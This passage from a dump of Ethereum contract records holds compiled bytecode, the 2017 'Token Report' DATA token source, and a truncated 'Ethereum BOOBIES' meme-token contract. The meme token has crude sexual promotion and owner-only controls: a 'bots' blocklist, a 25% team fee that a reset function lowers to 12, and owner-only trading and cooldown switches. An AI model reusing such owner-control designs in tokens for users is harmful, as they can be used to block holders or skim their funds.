fffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611dff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e97576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806133746024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806131f86022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b60008160010181905550600081600001819055506000808373ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a45050565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061334f6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561229b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061316a6023913960400191505060405180910390fd5b60001515600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612361576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f45524332303a2073656e6465722061646472657373200000000000000000000081525060200191505060405180910390fd5b61236c84848461311a565b6000816000015411156126f15780600101544211156124de5760008160010181905550600081600001819055506124048260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612497826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126ec565b600061254f826000015460405180606001604052806022815260200161321a602291396000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b905061257e8360405180606001604052806026815260200161323c602691398361289d9092919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061261582600001546000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126a8836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b612832565b61275c8260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ef826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600083831115829061294a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561290f5780820151818401526020810190506128f4565b50505050905090810190601f16801561293c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061332e6021913960400191505060405180910390fd5b6129ef8260008361311a565b612a5a816040518060600160405280602281526020016131b0602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ab18160055461311f90919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612c07576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b612c1e838260000154611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612cb4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806132ae6030913960400191505060405180910390fd5b60008160010154118015612ccb5750806001015442115b15612ce55760008160010181905550600081600001819055505b818160010181905550612d05838260000154611d8190919063ffffffff16565b81600001819055508181600001548573ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a450505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612de2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612ea8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2041646472657373206e6f7420626c61636b6c6973746564000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600015158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612fd0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514613079576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061318d6023913960400191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600115158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b505050565b600061316183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061289d565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea2646970667358221220e41aae0e8445e2f54d4d07f18e331f02f16256453c2c2f5dbf1bdf23259131cc64736f6c63430007030033
{"success": true, "error": null, "results": {}}
558
0x025db0ad4f49ae49102246bbb5120a619e9562c0
// Copyright New Alchemy Limited, 2017. All rights reserved. pragma solidity >=0.4.10; // from Zeppelin contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; require(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal returns (uint) { require(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; require(c>=a && c>=b); return c; } } contract Owned { address public owner; address newOwner; function Owned() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function changeOwner(address _newOwner) onlyOwner { newOwner = _newOwner; } function acceptOwnership() { if (msg.sender == newOwner) { owner = newOwner; } } } contract Pausable is Owned { bool public paused; function pause() onlyOwner { paused = true; } function unpause() onlyOwner { paused = false; } modifier notPaused() { require(!paused); _; } } contract Finalizable is Owned { bool public finalized; function finalize() onlyOwner { finalized = true; } modifier notFinalized() { require(!finalized); _; } } contract IToken { function transfer(address _to, uint _value) returns (bool); function balanceOf(address owner) returns(uint); } // In case someone accidentally sends token to one of these contracts, // add a way to get them back out. contract TokenReceivable is Owned { function claimTokens(address _token, address _to) onlyOwner returns (bool) { IToken token = IToken(_token); return token.transfer(_to, token.balanceOf(this)); } } contract EventDefinitions { event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Token is Finalizable, TokenReceivable, SafeMath, EventDefinitions, Pausable { string constant public name = "Token Report"; uint8 constant public decimals = 8; string constant public symbol = "DATA"; Controller public controller; string public motd; event Motd(string message); // functions below this line are onlyOwner // set "message of the day" function setMotd(string _m) onlyOwner { motd = _m; Motd(_m); } function setController(address _c) onlyOwner notFinalized { controller = Controller(_c); } // functions below this line are public function balanceOf(address a) constant returns (uint) { return controller.balanceOf(a); } function totalSupply() constant returns (uint) { return controller.totalSupply(); } function allowance(address _owner, address _spender) constant returns (uint) { return controller.allowance(_owner, _spender); } function transfer(address _to, uint _value) onlyPayloadSize(2) notPaused returns (bool success) { if (controller.transfer(msg.sender, _to, _value)) { Transfer(msg.sender, _to, _value); return true; } return false; } function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3) notPaused returns (bool success) { if (controller.transferFrom(msg.sender, _from, _to, _value)) { Transfer(_from, _to, _value); return true; } return false; } function approve(address _spender, uint _value) onlyPayloadSize(2) notPaused returns (bool success) { // promote safe user behavior if (controller.approve(msg.sender, _spender, _value)) { Approval(msg.sender, _spender, _value); return true; } return false; } function increaseApproval (address _spender, uint _addedValue) onlyPayloadSize(2) notPaused returns (bool success) { if (controller.increaseApproval(msg.sender, _spender, _addedValue)) { uint newval = controller.allowance(msg.sender, _spender); Approval(msg.sender, _spender, newval); return true; } return false; } function decreaseApproval (address _spender, uint _subtractedValue) onlyPayloadSize(2) notPaused returns (bool success) { if (controller.decreaseApproval(msg.sender, _spender, _subtractedValue)) { uint newval = controller.allowance(msg.sender, _spender); Approval(msg.sender, _spender, newval); return true; } return false; } modifier onlyPayloadSize(uint numwords) { assert(msg.data.length >= numwords * 32 + 4); _; } function burn(uint _amount) notPaused { controller.burn(msg.sender, _amount); Transfer(msg.sender, 0x0, _amount); } // functions below this line are onlyController modifier onlyController() { assert(msg.sender == address(controller)); _; } // In the future, when the controller supports multiple token // heads, allow the controller to reconstitute the transfer and // approval history. function controllerTransfer(address _from, address _to, uint _value) onlyController { Transfer(_from, _to, _value); } function controllerApprove(address _owner, address _spender, uint _value) onlyController { Approval(_owner, _spender, _value); } } contract Controller is Owned, Finalizable { Ledger public ledger; Token public token; function Controller() { } // functions below this line are onlyOwner function setToken(address _token) onlyOwner { token = Token(_token); } function setLedger(address _ledger) onlyOwner { ledger = Ledger(_ledger); } modifier onlyToken() { require(msg.sender == address(token)); _; } modifier onlyLedger() { require(msg.sender == address(ledger)); _; } // public functions function totalSupply() constant returns (uint) { return ledger.totalSupply(); } function balanceOf(address _a) constant returns (uint) { return ledger.balanceOf(_a); } function allowance(address _owner, address _spender) constant returns (uint) { return ledger.allowance(_owner, _spender); } // functions below this line are onlyLedger // let the ledger send transfer events (the most obvious case // is when we mint directly to the ledger and need the Transfer() // events to appear in the token) function ledgerTransfer(address from, address to, uint val) onlyLedger { token.controllerTransfer(from, to, val); } // functions below this line are onlyToken function transfer(address _from, address _to, uint _value) onlyToken returns (bool success) { return ledger.transfer(_from, _to, _value); } function transferFrom(address _spender, address _from, address _to, uint _value) onlyToken returns (bool success) { return ledger.transferFrom(_spender, _from, _to, _value); } function approve(address _owner, address _spender, uint _value) onlyToken returns (bool success) { return ledger.approve(_owner, _spender, _value); } function increaseApproval (address _owner, address _spender, uint _addedValue) onlyToken returns (bool success) { return ledger.increaseApproval(_owner, _spender, _addedValue); } function decreaseApproval (address _owner, address _spender, uint _subtractedValue) onlyToken returns (bool success) { return ledger.decreaseApproval(_owner, _spender, _subtractedValue); } function burn(address _owner, uint _amount) onlyToken { ledger.burn(_owner, _amount); } } contract Ledger is Owned, SafeMath, Finalizable { Controller public controller; mapping(address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint public totalSupply; uint public mintingNonce; bool public mintingStopped; // functions below this line are onlyOwner function Ledger() { } function setController(address _controller) onlyOwner notFinalized { controller = Controller(_controller); } function stopMinting() onlyOwner { mintingStopped = true; } function multiMint(uint nonce, uint256[] bits) onlyOwner { require(!mintingStopped); if (nonce != mintingNonce) return; mintingNonce += 1; uint256 lomask = (1 << 96) - 1; uint created = 0; for (uint i=0; i<bits.length; i++) { address a = address(bits[i]>>96); uint value = bits[i]&lomask; balanceOf[a] = balanceOf[a] + value; controller.ledgerTransfer(0, a, value); created += value; } totalSupply += created; } // functions below this line are onlyController modifier onlyController() { require(msg.sender == address(controller)); _; } function transfer(address _from, address _to, uint _value) onlyController returns (bool success) { if (balanceOf[_from] < _value) return false; balanceOf[_from] = safeSub(balanceOf[_from], _value); balanceOf[_to] = safeAdd(balanceOf[_to], _value); return true; } function transferFrom(address _spender, address _from, address _to, uint _value) onlyController returns (bool success) { if (balanceOf[_from] < _value) return false; var allowed = allowance[_from][_spender]; if (allowed < _value) return false; balanceOf[_to] = safeAdd(balanceOf[_to], _value); balanceOf[_from] = safeSub(balanceOf[_from], _value); allowance[_from][_spender] = safeSub(allowed, _value); return true; } function approve(address _owner, address _spender, uint _value) onlyController returns (bool success) { // require user to set to zero before resetting to nonzero if ((_value != 0) && (allowance[_owner][_spender] != 0)) { return false; } allowance[_owner][_spender] = _value; return true; } function increaseApproval (address _owner, address _spender, uint _addedValue) onlyController returns (bool success) { uint oldValue = allowance[_owner][_spender]; allowance[_owner][_spender] = safeAdd(oldValue, _addedValue); return true; } function decreaseApproval (address _owner, address _spender, uint _subtractedValue) onlyController returns (bool success) { uint oldValue = allowance[_owner][_spender]; if (_subtractedValue > oldValue) { allowance[_owner][_spender] = 0; } else { allowance[_owner][_spender] = safeSub(oldValue, _subtractedValue); } return true; } function burn(address _owner, uint _amount) onlyController { balanceOf[_owner] = safeSub(balanceOf[_owner], _amount); totalSupply = safeSub(totalSupply, _amount); } }
0x6060604052361561010f5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166315dacbea811461011457806318160ddd146101565780633e3e0b121461017b5780634bb278f31461019057806370a08231146101a557806379ba5097146101d657806388df13fa146101eb5780638da5cb5b1461024157806392eefe9b146102705780639dc29fac14610291578063a6f9dae1146102b5578063b3f05b97146102d6578063bcdd6121146102fd578063beabacc814610339578063dd62ed3e14610375578063e1f21c67146103ac578063f019c267146103e8578063f339292f14610424578063f77c47911461044b578063fbb0eb8b1461047a575b600080fd5b341561011f57600080fd5b610142600160a060020a036004358116906024358116906044351660643561049f565b604051901515815260200160405180910390f35b341561016157600080fd5b6101696105cb565b60405190815260200160405180910390f35b341561018657600080fd5b61018e6105d1565b005b341561019b57600080fd5b61018e6105fd565b005b34156101b057600080fd5b610169600160a060020a0360043516610651565b60405190815260200160405180910390f35b34156101e157600080fd5b61018e610663565b005b34156101f657600080fd5b61018e600480359060446024803590810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496506106ad95505050505050565b005b341561024c57600080fd5b610254610825565b604051600160a060020a03909116815260200160405180910390f35b341561027b57600080fd5b61018e600160a060020a0360043516610834565b005b341561029c57600080fd5b61018e600160a060020a03600435166024356108a5565b005b34156102c057600080fd5b61018e600160a060020a0360043516610912565b005b34156102e157600080fd5b61014261095a565b604051901515815260200160405180910390f35b341561030857600080fd5b610142600160a060020a036004358116906024351660443561097b565b604051901515815260200160405180910390f35b341561034457600080fd5b610142600160a060020a0360043581169060243516604435610a00565b604051901515815260200160405180910390f35b341561038057600080fd5b610169600160a060020a0360043581169060243516610abe565b60405190815260200160405180910390f35b34156103b757600080fd5b610142600160a060020a0360043581169060243516604435610adb565b604051901515815260200160405180910390f35b34156103f357600080fd5b610142600160a060020a0360043581169060243516604435610b6d565b604051901515815260200160405180910390f35b341561042f57600080fd5b610142610c28565b604051901515815260200160405180910390f35b341561045657600080fd5b610254610c31565b604051600160a060020a03909116815260200160405180910390f35b341561048557600080fd5b610169610c40565b60405190815260200160405180910390f35b600254600090819033600160a060020a039081169116146104bf57600080fd5b600160a060020a038516600090815260036020526040902054839010156104e957600091506105c1565b50600160a060020a038085166000908152600460209081526040808320938916835292905220548281101561052157600091506105c1565b600160a060020a0384166000908152600360205260409020546105449084610c46565b600160a060020a0380861660009081526003602052604080822093909355908716815220546105739084610c71565b600160a060020a0386166000908152600360205260409020556105968184610c71565b600160a060020a038087166000908152600460209081526040808320938b1683529290522055600191505b5b50949350505050565b60055481565b60005433600160a060020a039081169116146105ec57600080fd5b6007805460ff191660011790555b5b565b60005433600160a060020a0390811691161461061857600080fd5b6001805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790555b5b565b60036020526000908152604090205481565b60015433600160a060020a03908116911614156105fa576001546000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911790555b5b565b60008054819081908190819033600160a060020a039081169116146106d157600080fd5b60075460ff16156106e157600080fd5b60065487146106ef5761081b565b6006805460010190556bffffffffffffffffffffffff9450600093508392505b855183101561081257606086848151811061072657fe5b906020019060200201519060020a900491508486848151811061074557fe5b90602001906020020151600160a060020a0380851660009081526003602052604080822080549590941694850190935560025493945092169163f5c86d2a9185908590517c010000000000000000000000000000000000000000000000000000000063ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401600060405180830381600087803b15156107ee57600080fd5b6102c65a03f115156107ff57600080fd5b505050928301925b60019092019161070f565b60058054850190555b5b50505050505050565b600054600160a060020a031681565b60005433600160a060020a0390811691161461084f57600080fd5b60015474010000000000000000000000000000000000000000900460ff161561087757600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b5b50565b60025433600160a060020a039081169116146108c057600080fd5b600160a060020a0382166000908152600360205260409020546108e39082610c71565b600160a060020a0383166000908152600360205260409020556005546109099082610c71565b6005555b5b5050565b60005433600160a060020a0390811691161461092d57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b60015474010000000000000000000000000000000000000000900460ff1681565b600254600090819033600160a060020a0390811691161461099b57600080fd5b50600160a060020a038085166000908152600460209081526040808320938716835292905220546109cc8184610c46565b600160a060020a03808716600090815260046020908152604080832093891683529290522055600191505b5b509392505050565b60025460009033600160a060020a03908116911614610a1e57600080fd5b600160a060020a03841660009081526003602052604090205482901015610a4757506000610ab6565b600160a060020a038416600090815260036020526040902054610a6a9083610c71565b600160a060020a038086166000908152600360205260408082209390935590851681522054610a999083610c46565b600160a060020a0384166000908152600360205260409020555060015b5b9392505050565b600460209081526000928352604080842090915290825290205481565b60025460009033600160a060020a03908116911614610af957600080fd5b8115801590610b2c5750600160a060020a0380851660009081526004602090815260408083209387168352929052205415155b15610b3957506000610ab6565b50600160a060020a03808416600090815260046020908152604080832093861683529290522081905560015b5b9392505050565b600254600090819033600160a060020a03908116911614610b8d57600080fd5b50600160a060020a0380851660009081526004602090815260408083209387168352929052205480831115610be957600160a060020a038086166000908152600460209081526040808320938816835292905290812055610c1a565b6109cc8184610c71565b600160a060020a038087166000908152600460209081526040808320938916835292905220555b600191505b5b509392505050565b60075460ff1681565b600254600160a060020a031681565b60065481565b6000828201838110801590610c5b5750828110155b1515610c6657600080fd5b8091505b5092915050565b600082821115610c8057600080fd5b508082035b929150505600a165627a7a72305820d5bb2e71f31415a8afceed46f09e4c7d9af3ffe98a633959813d12ded8e506d80029
{"success": true, "error": null, "results": {}}
559
0xe326aa43b22797d5e09616836367806879e6d209
/* Ethereum BOOBIES ( . )( . ) TG: https://t.me/EthereumBoobies Welcome to Ethereum BOOBIES! The newest and HOTTEST DeFi protocol. This is the best community token brought to you by something everyone can agree on! The best features for the best boobies include: - Total supply of 1 Trillion, SO BIG - Initial burn, SO HOT - Full liquidity, locked and loaded - Cooldown, don't finish too fast now! - 5% reflection to holders, use both hands! - Anti-bots, all natural - Fair launch! */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract eBOOBIES is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Ethereum Boobies"; string private constant _symbol = '( . )( . )'; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 25; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 12; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = 